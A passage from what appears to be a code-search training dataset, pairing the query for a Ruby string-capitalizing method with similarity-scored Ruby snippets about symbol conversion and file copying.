"def standardize\n ς = self.dup\n \",.;\".each_char { |c| ς.gsub! c, \" \" }\n ς.stripn\n .squeeze(\" \")\n .underscore_spaces\n end", "def normalize_mana_symbol(symbol)\n return symbol unless symbol[0] == \"{\" and symbol[-1] == \"}\" and symbol.size >= 4\n parts = symbol[1..-2].downcase.tr(\"/\", \"\").chars.sort.join\n normalization_table = {\n \"bg\" => \"{B/G}\",\n \"bp\" => \"{B/P}\",\n \"br\" => \"{B/R}\",\n \"gp\" => \"{G/P}\",\n \"gu\" => \"{G/U}\",\n \"gw\" => \"{G/W}\",\n \"gr\" => \"{R/G}\",\n \"pr\" => \"{R/P}\",\n \"rw\" => \"{R/W}\",\n \"bu\" => \"{U/B}\",\n \"pu\" => \"{U/P}\",\n \"ru\" => \"{U/R}\",\n \"pw\" => \"{W/P}\",\n \"uw\" => \"{W/U}\",\n }\n normalization_table[parts] or symbol\n end", "def to_s\n 'rule: ' + @symbol.to_s\n end", "def symbol(*args, &block)\n args = [{ :using => Option, :kind => Symbol }, *args]\n da = option(*args, &block)\n da.instance_eval do\n from String do |s|\n s.to_sym\n end\n end\n end", "def sym(name)\n SymEngine::Symbol.new(name)\nend", "def to_sym\r\n self.class.to_s.to_sym\r\n end", "def to_sym?(value); end", "def symbolize(str)\n str.downcase.gsub(/\\ /, \"_\").gsub(/[^a-z_]/, \"\").to_sym\nend", "def symbol\n Util.from_bytes :symbol, value\n end", "def bin_sym\n @underscored_name ||= name.split('::').last.gsub(/([a-z\\d])([A-Z])/, '\\1_\\2').downcase.to_sym\n end", "def get_coerce_type_symbol( typ )\n \n case typ\n\n when Symbol then typ\n\n when Class\n\n base_name = typ.to_s.split( /::/ )[ -1 ] # Get last name part\n str =\n base_name.gsub( /(^[A-Z])|([A-Z])/ ) do |m| \n ( $2 ? \"_\" : \"\" ) + m.downcase \n end\n\n str.to_sym\n \n else raise \"Unexpected coerce type indicator: #{typ}\"\n end\n end", "def symbol\n @symbol\n end", "def symbolize\n convert do|k, v|\n [k.to_sym, v]\n end\n end", "def to_symbol(str)\n case str\n when /'/\n \":'\" + str.to_s.gsub(\"'\"){ \"\\\\'\" } + \"'\"\n else\n ':' + str.to_s\n end\n end", "def format_symbol\n\t\t:format\n\tend", "def to_sym\n name\n end", "def symbol(string)\n Types::Symbol.cast(string)\n end", "def to_method_sym(name)\n name.to_s.pluralize.underscore.to_sym\n end", "def visit_Symbol(o, parent)\n contextualize(parent)[o]\n end", "def symbol=(symbol)\n symbol = symbol.to_s.remove_underscores\n @symbol = Unit.use_superscript_characters? ? symbol.with_superscript_characters : symbol.without_superscript_characters\n end", "def clean(sym)\n sym.to_s.gsub(/\\W/, '_')\n end", "def model_name_to_method_sym\n to_method_sym(model_name)\n end", "def resolve_sym arg\n value = resolve_value arg\n arg = arg.to_s.sub(/^_/, '')\n if value.to_s == arg.to_s\n Partializer::Collection.new 'sym', arg\n else\n Partializer::Collection.new 'sym', arg, {arg.to_sym => value}\n end\n end", "def symbol\n :R\n end", "def titleize_symbol symbol\n title = symbol.to_s.split('_')\n title.each { |word| word.capitalize! }.join(' ')\nend", "def rb2scm_symbol(sym)\n ScmSymbol.register(sym)\n end", "def convert_signature symbol, in_type, out_type\r\n [ symbol.to_s.sub(\"niScope\", \"rbScope\").to_sym,\r\n in_type.map{|t| types[:ruby][t] || t },\r\n out_type\r\n ]\r\n end", "def normalise(string)\n string.capitalize.gsub(/\\s+/, '').to_sym\n end", "def asm_symbol(s)\n sa = Word[s]\n return sa if !sa.nil?\n a = ['']\n s.each_char do |c|\n g = Graph[c]\n if g.nil?\n a[-1] << c\n else\n # graph char found\n if g != ''\n if a[-1] == ''\n a[-1] << g\n a << ''\n else\n a << \"#{g}\"\n a << ''\n end\n end\n end\n end\n if a[-1] == ''\n a.pop\n end\n a.join('_').downcase\n end", "def symbol\n \n end", "def symbol\n :R\n end", "def key_to_symbol(key)\n self[key.to_sym] = self.delete key\n end", "def coerce_name(name)\n valid_name!(name)\n name.to_s.to_sym\n end", "def replace_symbol(sym, new_sym)\n\t\t\tsyo = get_symbol(sym)\n\t\t\tsyn = get_symbol(new_sym)\n\n\t\t\t@rules.each do |r|\n\t\t\t\tr.equation.replace_ident(sym, new_sym)\n\t\t\tend\n\n\t\t\tif @parameters[sym]\n\t\t\t\t@parameters.delete(sym)\n\t\t\telse\n\t\t\t\t@species.delete(sym)\n\t\t\tend\n\n\t\t\tself.validate\n\n\t\t\tsyo\n\t\tend", "def to_sym!\n self.keys.each do |key| \n self[key.to_sym] = self.delete key if key.class == String\n end\n return self\n end", "def to_name\n to.to_sym\n end", "def to_name\n to.to_sym\n end", "def __convert(key)\n case key\n when Symbol then key.to_s\n when String then key.to_sym\n else key\n end\n end", "def symbol! sym\n initialize\n s0 = new_state\n s1 = new_state\n set_start(s0)\n set_final(s1, true)\n add_transition(s0, s1, sym)\n if (sym != \"\") && (!@alphabet.include? sym)\n @alphabet.push sym\n end\n end", "def dehumanize(v)\n v.is_a?(String) ? v.gsub(/\\s/,'_').downcase.to_sym : v\n end", "def to_s\n if Prefix===prefix\n s = symbol ? \"#{prefix.symbol}#{symbol}\" : \"#{prefix.name}#{term})\"\n else\n s = symbol ? \"#{symbol}\" : \"#{term}\"\n end\n if power != 1\n s = s + (power > 0 ? \"^#{power}\" : \"#{power}\")\n end\n s\n end", "def sym(name)\n #This is a stub, used for indexing\n end", "def symbol\n codepoints.pack(\"U*\")\n end" ]
[ "0.63168347", "0.63168347", "0.63168347", "0.6195802", "0.60290104", "0.5988072", "0.594167", "0.5940939", "0.5937854", "0.5890646", "0.58764994", "0.58407253", "0.58407253", "0.58407253", "0.5827341", "0.5800763", "0.5800763", "0.57970273", "0.5778103", "0.57741684", "0.57632256", "0.57558304", "0.5689012", "0.5674987", "0.56446785", "0.5643589", "0.56400007", "0.56159866", "0.5586389", "0.5533516", "0.55259055", "0.5510444", "0.55060875", "0.54895145", "0.5462247", "0.5452264", "0.5444437", "0.5437633", "0.54330635", "0.54102755", "0.54044205", "0.53623444", "0.53545576", "0.5352344", "0.5341934", "0.5340188", "0.5334811", "0.532418", "0.53210026", "0.53117096", "0.52889305", "0.5279529", "0.5279529", "0.5279529", "0.5279529", "0.52781725", "0.52602464", "0.5249361", "0.52476895", "0.5245962", "0.52138406", "0.52017456", "0.5196028", "0.5194113", "0.5190904", "0.516874", "0.51606697", "0.5135547", "0.51244897", "0.5093003", "0.50829047", "0.5080256", "0.5077813", "0.50689363", "0.50605726", "0.5059627", "0.50588024", "0.5058767", "0.50579953", "0.50548255", "0.5050276", "0.5038348", "0.5026817", "0.50234115", "0.50204", "0.50162387", "0.49985692", "0.4989017", "0.4975985", "0.49702126", "0.49656382", "0.49625525", "0.49534905", "0.49534905", "0.49526688", "0.49511266", "0.49335536", "0.4932022", "0.49301934", "0.49202487" ]
0.7052987
0
Capitalizes a string and append an exclamation mark. Also allows optional argument for string interpolation. Handy for constructing error messages.
def X! arg=nil arg.nil? ? capitalize + ?! : ( self % arg ).X! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def capitalize!() end", "def shout(phrase)\n return \"#{phrase.upcase} !!!!\"\n #return \"#{phrase}!!!!\".upcase\nend", "def yell(string)\n if !(string.instance_of?(String))\n raise \"The argument should be a String\"\n end\n string.upcase! << \"!\"\nend", "def prepare_string(string)\n string.chomp.gsub(' ', '-').capitalize\nend", "def capitalize(input); end", "def exclaim?(input)\n if input.include?('!')\n input = input.chop\n puts \"HELLO #{input.upcase}. WHY ARE WE SCREAMING?\"\n else\n puts \"Hello, #{input}.\"\n end\nend", "def unusualCapitalization(*x); field('unusualCapitalization', *x) end", "def fix(value)\n value = value.upcase!\n value.concat('!')\nend", "def yell(message)\n message.upcase+'!'\nend", "def sentence_maker(string)\n string.join(\" \").capitalize << \".\"\nend", "def title_case(str, exceptions='')\n str_arr = str.split\n exception_arr = exceptions.downcase.split\n \n str_arr.each_with_index do |word, idx|\n word.capitalize! if idx == 0\n \n \n if exception_arr.include?(word.downcase)\n word.downcase! unless idx == 0\n else\n word.capitalize!\n end\n end\n str_arr.join(' ')\nend", "def camel_case(str); end", "def titleizefailure str\n\teach = str.split(\" \")\n\teach.map! {|x| x.capitalize}\n\teach.join(\" \")\nend", "def yell (foo)\n foo.upcase + \"!\"\n end", "def capitalize() end", "def yell(msg)\n msg.upcase + \"!\"\nend", "def capitalization_correction(wrong, right)\n if capitalized?(right) && capitalized?(wrong)\n \"ia #{wrong.downcase} #{right}\"\n end\n end", "def excite\n @name.upcase + '!!'\n end", "def yell (string)\n string.upcase + \"!\"\nend", "def capitalize_string(input)\n\tif input.empty?\n\t\traise 'Oops! You did not enter anything.'\n\telse\n\t\tcapitalize_words(input.downcase.split(' '))\n\tend\nend", "def yell(msg)\n msg.upcase+\"!\"\nend", "def capitalize(str= 'hello world')\n case\n when str.length > 10\n str.upcase!\n else\n str\n end\nend", "def titleize_a_string(string)\n exceptions = ['a', 'and', 'the']\n string.capitalize!\n array = string.split(' ')\n array.map do | str |\n exceptions.include?(str) ? str : str.capitalize\n end.join(' ')\nend", "def sentence_maker(a_single_argument)\n output = a_single_argument.join(\" \")\n output += \".\"\n return output.capitalize!\nend", "def safe_capitalize(field)\n field.capitalize! if needs_capitalize(field)\n end", "def sentencize (text, change)\n\n\treturn change ? text.capitalize! : text\n\nend", "def capitalize_name(first_name, last_name)\n first_name.capitalize + \" \" + last_name.capitalize # concatenation\n \"#{first_name.capitalize} #{last_name.capitalize}\" # interpolation\nend", "def camelcase(s)\n\n\nend", "def conditional_allcaps(input_str)\n if input_str.length > 10\n input_str.upcase\n else\n input_str\n end\nend", "def sentence_maker(strings)\n return strings.join(' ').capitalize + '.'\nend", "def yell message\n message.upcase + \"!\"\nend", "def yell message\n message.upcase + \"!\"\nend", "def yell message\n message.upcase + \"!\"\nend", "def yell message\n message.upcase + \"!\"\nend", "def hello name = \"\", punctuation = \"!\"\n \"hello #{name.capitalize}#{punctuation}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\" #\"#{string.capitalize}\" \nend", "def shout(str); str.upcase end", "def shout_name\n puts \"What is your name?\"\n name = gets.chomp\n\n message = \"Hello #{name}\"\n\n if name[-1] == '!'\n puts \"#{message} Why are we screaming?\".upcase\n else\n puts message + \".\"\n end\nend", "def convert_to_uppercase(stringin)\n\tif stringin.length >10\n\t return stringin.upcase\n\telse\n\treturn \"String '#{stringin}' must be greater than 10 characters long.\"\n\tend\nend", "def fix_capitalized_species_epithet(str)\n # Is second word capitalized?\n return str unless str.match?(/^\\S+ [A-Z]/)\n\n # Trust it if there is actually a name with that author present.\n return str if Name.find_by(search_name: str).present?\n\n # Try converting second word to lowercase.\n str2 = str.sub(/ [A-Z]/, &:downcase)\n\n # Return corrected name if that name exists, else keep original name.\n if Name.where(search_name: str2).or(Name.where(text_name: str2)).present?\n str2\n else\n str\n end\n end", "def say_goodnight(name)\r\n \"Dobranoc #{ name.capitalize }\"\r\nend", "def exclamation(str)\n\n str.gsub(/!/, \"\")\nend", "def prompt(prompt_user)\n prompt = \"#{prompt_user}\".capitalize.downcase.lstrip\nend", "def cond_upper_case(string)\n if string.length > 10\n string.upcase\n else\n string\n end\nend", "def capitalize(string) \r\n puts \"#{string[0].upcase}#{string[1..-1]}\"\r\nend", "def pretty_title!\n str = self\n str.downcase!\n str = str.split(\" \").map { |word| word.capitalize! }.join(\" \")\n str.gsub! /\\sVs/, ' vs'\n str.gsub! /\\sMd/, ' MD'\n str.gsub! /\\sVersus/, ' versus'\n str.gsub! /\\sLlc/, ' LLC'\n str.gsub! /\\sPc/, ' PC'\n str.gsub! /\\sPa/, ' PA'\n\n # I can't get this to work.. I want Mcfoo to be McFoo but for some reason this wont work -- it does work in rails console\n #str.gsub! /(\\sMc)(.)/, \"#{$1}#{$2.upcase}\"\n str\n end", "def capitalize(string)\n if string.length > 10\n puts string.upcase\n else \n puts string\n end\nend", "def capitalize(string)\n if string.length > 10\n string.upcase\n else\n string\n end\nend", "def smart_capitalize(word, index, count)\n if word.match?(/^(\\w\\.)+$/) # initialisms\n word\n elsif NO_CAPS.include?(word.downcase) && index.between?(1, count - 2)\n word.downcase\n elsif ALL_CAPS.include?(word.downcase)\n word.upcase\n elsif word.match?(/^[A-Z0-9]+$/)\n word\n else\n word.capitalize\n end\n end", "def capitals(string)\n if string.length > 10\n puts string.upcase\n else\n puts string\n end\n end", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def err_bob(string)\n string.gsub!(/(?<last>(?![aeiou])[a-z]\\b)/, '\\k<last>err')\n string.gsub(/(?<last>(?![AEIOU])[A-Z]\\b)/, '\\k<last>ERR')\nend", "def conditional_caps(phrase)\n if phrase.length > 10\n phrase.upcase\n else \n phrase\n end\nend", "def cleanTitle(str)\n str.nil? and return str\n r = Sanitize.clean(str).strip\n str.empty? and return str\n r = (r[0].match(/[^\\w]/)) ? r[1..-1].strip : r\n r.sub(/^(The|A|An) /i, '').capitalize\nend", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def camel_case_safe(text)\n\t\treturn text.gsub(/[,.?!#<>\\\\\\/]/, '').split(' ').each { |s| s.capitalize! }.join.to_s\n\tend", "def fix(value)\n value.concat('!')\n value = value.upcase\n value << 'xyz'\nend", "def capitalize(string)\n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalize(string)\n puts \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def fix(value)\n value << 'xyz'\n value = value.upcase\n value.concat('!')\nend", "def caps(string)\n if string.length > 10\n puts string.upcase\n else\n puts \"This cannot be changed.\"\n end\nend", "def test_shouting_with_no_exclamation_mark\n remark = 'I HATE YOU' # => \"I HATE YOU\"\n assert_equal 'Whoa, chill out!', bob.hey(remark), feedback(remark) # => true\n end", "def capitalize\n \"Foo\"\n end", "def capitalize(string) \n puts \"#{string[0].upcase}#{string[1..-1]}\"\n end", "def all_caps(string)\n if string.length > 10\n string.upcase # .upcase returns a new string, .upcase! would change current string.\n else\n \"String is not longer than 10 characters, not uppercasing.\"\n end\nend", "def yell(word)\n return word.upcase + \"!\"\nend", "def alt_caps(string)\n case\n when string.length > 10\n string.upcase\n else\n string\n end\nend", "def titleize_a_string(string)\nsentence = string.capitalize!.split(' ')\n words_not_to_capitalize = ['a', 'and', 'the']\n\n sentence.each do |word|\n word.capitalize! unless words_not_to_capitalize.include?(word)\n end.join(' ')\n\nend", "def capitalize(skip_prefixed_underscores: false)\n self.capital skip_prefixed_underscores: skip_prefixed_underscores\n end", "def shout(str)\n return str.upcase\nend", "def capital(input)\n if input.to_s.length > 10\n input.upcase\n else\n puts \"Please enter greater than 10 characters\"\n end\nend", "def capitalize\n `return self.charAt(0).toUpperCase() + self.substr(1).toLowerCase();`\n end", "def capitalize\n `return self.charAt(0).toUpperCase() + self.substr(1).toLowerCase();`\n end", "def sentence_maker_refactored(words)\n words.first.capitalize!\n words.join(\" \") + \".\"\nend", "def whisper(phrase)\n return \"#{phrase.downcase}...shhhhhhh\"\nend", "def contains_only_capital_letters\n if ! Configs.get_config('allow_capitalssubj').to_bool && ! (self.title =~ /^([0-9\\32-\\64\\[\\]\\/\\^\\_\\`\\{\\}\\|\\~]*[\\75-\\77]*[A-Z]+[0-9\\32-\\64\\[\\]\\/\\^\\_\\`\\{\\}\\|\\~]*)+$/).nil?\n self.errors.add('title', I18n.t(:cap_letters))\n end\n end", "def greet(name)\n \"Hello #{name.capitalize}!\"\nend", "def greet(name)\n \"Hello #{name.capitalize}!\"\nend", "def titleize_a_string(string)\n result = string.split.each do |x|\n if (x != 'a' && x != 'and' && x != 'the')\n x.capitalize!\n end\n end\n result[0].capitalize!\n result.join(' ')\nend", "def caps(str)\n if str.length > 10\n str.upcase!\n else\n puts str\n end\nend", "def capitalLetter(string)\n\tputs \"#{string[0].upcase}#{string[1..-1]}\"\nend", "def capitalized_correction(wrong, right)\n capitalized = capitalize wrong\n # if the words are already capitalized or the correction _is_ capitalization, skip\n unless capitalized == wrong || capitalized == right\n \"ia #{capitalized} #{capitalize right}\"\n end\n end", "def formalize(string)\n string.downcase.gsub(/'\"/, '').gsub(/[^a-z0-9_]/, '-').squeeze('-')[0..250].sub(/-$/, '')\n end", "def ucfirst(string)\n if !string.nil? && string != ''\n string[0] = string[0,1].upcase\n end\n string\n end", "def capitalize(x)\n if x.length > 10\n return x.upcase\n end\nend", "def greeting(name)\n if name[-1] == '!'\n name.chop!\n return \"HELLO #{name.upcase}. WHY ARE WE SCREAMING?\"\n else\n return \"Hello #{name}.\"\n end\nend", "def titleize(string)\n if string.empty? || string == ' '\n \"This is an empty string!\" \n else\n string.split.map { |word| word.capitalize }.join(' ')\n end\nend", "def to_camel_case(str)\n if str.empty?\n answer = \"\"\n else\n str = str.split(/-|_/)\n p str[1..(str.length - 1)]\n answer = str[0] + (str[1..(str.length - 1)].map(&:capitalize)).join\n end\n answer\nend", "def titleize_a_string(string)\nend", "def titleize_a_string(string)\nend", "def shout(string)\n\treturn string.upcase\nend", "def capitalize(s)\n s[0..0].upcase + s[1..-1]\n end", "def sentence_maker(strings)\n new_string = strings.join(\" \") + \".\"\n return new_string.capitalize\nend", "def conditional_upcase(string)\n string.length > 10 ? string.upcase : string\nend", "def string(food, dessert)\n puts \"#{food.upcase} & #{dessert.upcase} is my restaurant\"\nend" ]
[ "0.6274294", "0.6097595", "0.604176", "0.60192037", "0.59975225", "0.5919082", "0.5913173", "0.58790773", "0.5859622", "0.5845386", "0.58413345", "0.5833665", "0.5832287", "0.58229315", "0.58094716", "0.58004147", "0.57796645", "0.5777359", "0.5758074", "0.57486945", "0.57300514", "0.57096076", "0.5709372", "0.56920844", "0.56540203", "0.56481725", "0.5642676", "0.56289923", "0.56288815", "0.56203586", "0.56162447", "0.56162447", "0.56162447", "0.56162447", "0.56071174", "0.56020725", "0.56018186", "0.55963457", "0.55782086", "0.5574704", "0.5571852", "0.55538815", "0.5538468", "0.55251217", "0.5515993", "0.5512935", "0.55109483", "0.5504284", "0.55012", "0.5489501", "0.5488855", "0.5488855", "0.5488855", "0.5488855", "0.5488855", "0.5488855", "0.5484187", "0.54736936", "0.5470923", "0.5468243", "0.5461457", "0.5458124", "0.5447507", "0.5447507", "0.5434459", "0.5428524", "0.5426689", "0.54229254", "0.54203415", "0.541979", "0.54131836", "0.5402998", "0.54004955", "0.5392617", "0.53912044", "0.5388742", "0.5386322", "0.5386322", "0.53697115", "0.5367601", "0.5364931", "0.53581786", "0.53581786", "0.5353547", "0.53532875", "0.53500813", "0.5349539", "0.5345544", "0.53432906", "0.5338539", "0.53362584", "0.5335122", "0.53334504", "0.5332177", "0.5332177", "0.5329733", "0.53270876", "0.53266793", "0.53218585", "0.531753" ]
0.56561345
24
copy files to root, execute block, clean up when done
def in_environment(*extra_files) environment_files = [ ".env-#{environment}", "docker-compose-#{environment}.yml", 'docker-entrypoint.sh', 'Dockerfile' ].concat(extra_files) environment_files.each do |file| say "copying #{file} to #{@@root}", :green `cp #{path('.docker', environment.to_s, file)} #{@@root}` end begin yield rescue ensure environment_files.each do |file| say "removing #{file}", :green `rm #{path(file)}` end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stage\n\n @tempdir = Dir.mktmpdir\n\n begin\n\n # Copy the assets into the temp dir.\n files = Dir.glob(\"#{File.dirname(@file_path)}/#{@file_base}.*\")\n FileUtils.cp(files, @tempdir)\n\n # Change into the temp dir.\n FileUtils.cd(@tempdir) do yield end\n\n ensure\n\n # Delete the copies.\n FileUtils.remove_entry @tempdir\n\n end\n\n end", "def perform_file_copy\n\t\tretrieve_target_dir do |target_dir|\n\t\t\tFileUtils.mkdir_p target_dir\n\t\t\tcopy_depdencies_to target_dir\n\t\tend\t\n\tend", "def safe_copy(pathlist, &block)\n # Copy code into a temp directory so we don't confuse editors while snapshotting\n curdir = Dir.pwd\n tmpdir = Dir.mktmpdir\n\n copy_files_to_dir(pathlist, tmpdir) \n Dir.chdir(tmpdir)\n\n if block\n yield\n FileUtils.remove_entry_secure(tmpdir)\n Dir.chdir(curdir)\n else\n return tmpdir\n end\n end", "def process_files(sync_database)\n # Files to be copied\n copy_onedconf\n\n FILES.each do |file|\n copy_and_check(file[:name], file[:service])\n end\n\n # Folders to be copied\n FOLDERS.each do |folder|\n copy_folder(folder[:name], folder[:service])\n end\n\n restart_services\n\n # Sync database\n sync_db if sync_database\n end", "def execute\n\n copiedCounter = 0\n failedCounter = 0\n skippedCounter = 0\n \n # traverse all srcfiles\n FiRe::filesys.find(@source) { |srcItem|\n \n # give some feedback\n FiRe::log.info \"searching #{srcItem}...\" if FiRe::filesys.directory?(srcItem)\n \n # skip this subtree if it matches ignored-items\n FiRe::filesys.prune if ignore?(srcItem) \n \n # transform srcpath to destpath\n destItem = srcItem.gsub(@source, @destination)\n\n # do not copy if item already exists and looks OK\n if needCopy(destItem,srcItem)\n copyWentWell = copyItem(srcItem, destItem)\n copiedCounter += 1 if copyWentWell\n failedCounter += 1 if !copyWentWell\n else\n skippedCounter += 1 \n end\n \n }\n \n # give some feedback\n FiRe::log.info \"copied #{copiedCounter} items, while #{failedCounter} items failed. #{skippedCounter} items did not need to be copied today.\"\n\n end", "def create_work\n @files.each do |file|\n executor.queue { file.copy_file(@output_dir) }\n end\n end", "def run\n\t\tself.rsync_to_temp\n\t\tself.convert_to_mp3\n\t\tself.rsync_to_usb\n\t\tself.delete_temp_dir\n\tend", "def proc_file_toinst(new_file_hash, root_new_files)\n new_file = new_file_hash[:src]\n dst_file = new_file_hash[:dst]\n @log.debug(\"Processing file: #{new_file}\")\n app_dir_dst = File.join(@target_app_root_path, @app_root_subfolder)\n old_dst_file = File.join(app_dir_dst, dst_file)\n src_file = File.join(root_new_files, new_file)\n # copy file\n FileUtils.cp_r(src_file, old_dst_file)\n @log.debug(\"Copy file #{src_file} to #{old_dst_file}\")\n rescue\n @log.error(\"proc_file_toinst error #{$!}\")\n end", "def copy_content\n @tocopy.each do |pair|\n src = pair[0]\n dst = File.expand_path(File.join(@temp_path, pair[1] || ''))\n dstdir = File.dirname(dst)\n FileUtils.mkpath(dstdir) unless File.exist?(dstdir)\n FileUtils.cp_r(src, dst)\n end\n\n # clear out the list of things to copy so that snippets can\n # re-load it and call copy_content again if needed\n @tocopy = []\n end", "def copy_data_dir_here\n copy_all from: content, to: current_dir\nend", "def selective_copy(directory, &block)\n Dir[File.join(source_paths, directory)].each do |filename|\n file = filename.to_s.gsub(\"#{Engine.root.to_s}/\", '')\n copy_file file\n end\n end", "def preform_copy_file\n @destination_files.each do |destination|\n copy_file(@sources.pop, destination)\n end\n end", "def chroot(&block)\n ::Dir.chroot(path, &block)\n end", "def copy_clhep\n# the version below is used to copy the clhep AND geant4 areas; \n dirs = [\"clhep/#{clhep_release}\"]\n dirs.each do |dir|\n fork do\n\tputs \"Process #{Process.pid} will copy #{dir} from #{build_base} to #{run_base}\"\n\tresult = `umask 0002; cd #{build_base} && find #{dir} -path 'CVS' -prune -o -print | cpio -pdumL #{run_base}`\n#\tresult = `echo \"cd #{build_base} && find #{dir} -path 'CVS' -prune -o -print | cpio -pdumL #{run_base}\"`\n\tstatus = $?.exitstatus\n\tif status != 0\n\t puts \"Process #{Process.pid} failed\"\n\t puts result\n\tend\t\n end\n end\n children = Process.waitall\n children.each do |pid, status|\n if status.exitstatus == 0\n\tputs \"Process #{pid} OK\"\n else\n\traise Exception.new(\"Process #{pid} FAILED\")\n end\n end\n end", "def create_copy_file_tasks(source_files, source_root, dest_root, invoking_task)\n source_files.each do |source|\n target = source.pathmap(\"%{#{source_root},#{dest_root}}p\")\n directory File.dirname(target)\n file target => [File.dirname(target), source] do |t|\n cp source, target\n end\n task invoking_task => target\n end\nend", "def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join('/', remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n File.open(src, 'r') do |file|\n @uploader = ChunkedUploader.new(client, file)\n with_retries do\n @uploader.upload(1024**2 * chunk_size)\n end\n end\n\n with_retries do\n @uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end", "def delete_root\n Dir.chdir(root) do\n Dir.entries('.').each do |entry|\n next if entry == '.' || entry == '..'\n next if entry == FILES_DIR && task.options.copy_files_with_symlink\n\n begin\n FileUtils.remove_entry_secure(entry)\n rescue\n if task.options.copy_files_with_symlink\n print_title('Cannot automatically empty ' + root + '. Please manually empty this directory (except for ' + root + '/' + FILES_DIR + ') and then hit any key to continue...')\n else\n print_title('Cannot automatically empty ' + root + '. Please manually empty this directory and then hit any key to continue...')\n end\n STDIN.getch\n break\n end\n end\n end\n\n logger.info(\"#{root} content was deleted\")\n end", "def go_single_transfer_in\r\n wait_for_transfer_file_come_up\r\n size = wait_for_the_data_to_all_get_here\r\n @copied_files += copy_files_from_dropbox_to_local_permanent_storage size\r\n create_done_copying_files_to_local_file\r\n wait_till_current_transfer_is_over\r\n\treturn recombinate_files_for_multiple_transfers_possibly\r\n end", "def execute()\r\n FileUtils.cp(@FilePath, @CopiedFilePath)\r\n File.delete(@FilePath) if File.exist?(@FilePath)\r\n end", "def chroot(newroot)\n return if !block_given?\n raise BakerError, \"can't chroot into #{newroot}, directory dosen't exist\" if !File.directory?(newroot)\n FileUtils.mkdir(File.join(newroot,'proc')) if !File.directory?(File.join(newroot,'proc'))\n raise BakerError, \"mount proc failed\" unless system(\"mount -n -t proc #{Dir.map('/proc')} #{File.join(newroot,'proc')}\")\n begin\n trap('INT','IGNORE')\n pid = Process.fork do\n begin\n Dir.chdir(newroot)\n puts `ls ./root/bin`\n ENV['PATH'] = \"/root/bin:#{ENV['PATH']}\"\n ENV['SHELL'] = \"/bin/bash\"\n `chroot ./` #Dir.chroot('.')\n p \"here\"\n yield\n rescue Exception => e\n puts \"Error in chroot: #{e}\"\n end\n end\n Process.waitpid(pid)\n ensure\n system(\"umount -ln #{File.join(newroot,'proc')}\")\n trap('INT','DEFAULT')\n end\n end", "def send_config_files_to_nodes(c)\n run_array_of_tasks(rsync_tasks(\"#{base_tmp_dir}/*\", \"#{remote_base_tmp_dir}\"))\n end", "def copy\n actionlist = actionlist(:copy, copylist)\n\n if actionlist.empty?\n report_nothing_to_generate\n return\n end\n\n #logger.report_startup(job, output)\n\n mkdir_p(output) unless File.directory?(output)\n\n backup(actionlist) if backup?\n\n Dir.chdir(output) do\n actionlist.each do |action, fname|\n atime = Time.now\n how = __send__(\"#{action}_item\", Pathname.new(fname))\n report_create(fname, how, atime)\n end\n #logger.report_complete\n #logger.report_fixes(actionlist.map{|a,f|f})\n end\n end", "def copy_base_files\n\tbase_files = Dir[\"templates/Base/**/*\"].reject { |fn| \n\t\tFile.directory?(fn) \n\t}\n\n\tprint \"copying base base files .\"\n\n\tbase_files.each do |base_file|\n\t\tdestination = base_file.gsub(\"templates\", \"output\")\n\n\t\tcreate_folders_for_path destination\n\n\t\tFileUtils.cp(base_file, destination)\n\t\tprint \".\"\n\tend\n\tprint \"\\n\"\nend", "def prepare_copy_folders\n return if config[:copy_folders].nil?\n\n info(\"Preparing to copy specified folders to #{sandbox_module_path}.\")\n kitchen_root_path = config[:kitchen_root]\n config[:copy_folders].each do |folder|\n debug(\"copying #{folder}\")\n folder_to_copy = File.join(kitchen_root_path, folder)\n copy_if_src_exists(folder_to_copy, sandbox_module_path)\n end\n end", "def transfer!\n remote_path = remote_path_for(@package)\n FileUtils.mkdir_p(remote_path)\n\n files_to_transfer_for(@package) do |local_file, remote_file|\n Logger.info \"#{storage_name} started transferring '#{ local_file }'.\"\n\n src_path = File.join(local_path, local_file)\n dst_path = File.join(remote_path, remote_file)\n FileUtils.send(transfer_method, src_path, dst_path)\n end\n end", "def safe_cp(from, to, owner, group, cwd = '', include_paths = [], exclude_paths = [])\n credentials = ''\n credentials += \"-o #{owner} \" if owner\n credentials += \"-g #{group} \" if group\n excludes = find_command_excludes(from, cwd, exclude_paths).join(' ')\n\n copy_files = proc do |from_, cwd_, path_ = ''|\n cwd_ = File.expand_path(File.join('/', cwd_))\n \"if [[ -d #{File.join(from_, cwd_, path_)} ]]; then \" \\\n \"#{dimg.project.find_path} #{File.join(from_, cwd_, path_)} #{excludes} -type f -exec \" \\\n \"#{dimg.project.bash_path} -ec '#{dimg.project.install_path} -D #{credentials} {} \" \\\n \"#{File.join(to, '$(echo {} | ' \\\n \"#{dimg.project.sed_path} -e \\\"s/#{File.join(from_, cwd_).gsub('/', '\\\\/')}//g\\\")\")}' \\\\; ;\" \\\n 'fi'\n end\n\n commands = []\n commands << [dimg.project.install_path, credentials, '-d', to].join(' ')\n commands.concat(include_paths.empty? ? Array(copy_files.call(from, cwd)) : include_paths.map { |path| copy_files.call(from, cwd, path) })\n commands << \"#{dimg.project.find_path} #{to} -type d -exec \" \\\n \"#{dimg.project.bash_path} -ec '#{dimg.project.install_path} -d #{credentials} {}' \\\\;\"\n commands.join(' && ')\n end", "def sftp_copy(username, password, server, files_map)\n ssh = FileCopy.ssh_connect(username, password, server)\n ssh.sftp.connect do |sftp|\n uploads = files_map.map { |from,to|\n remote_dir = File.dirname(to)\n 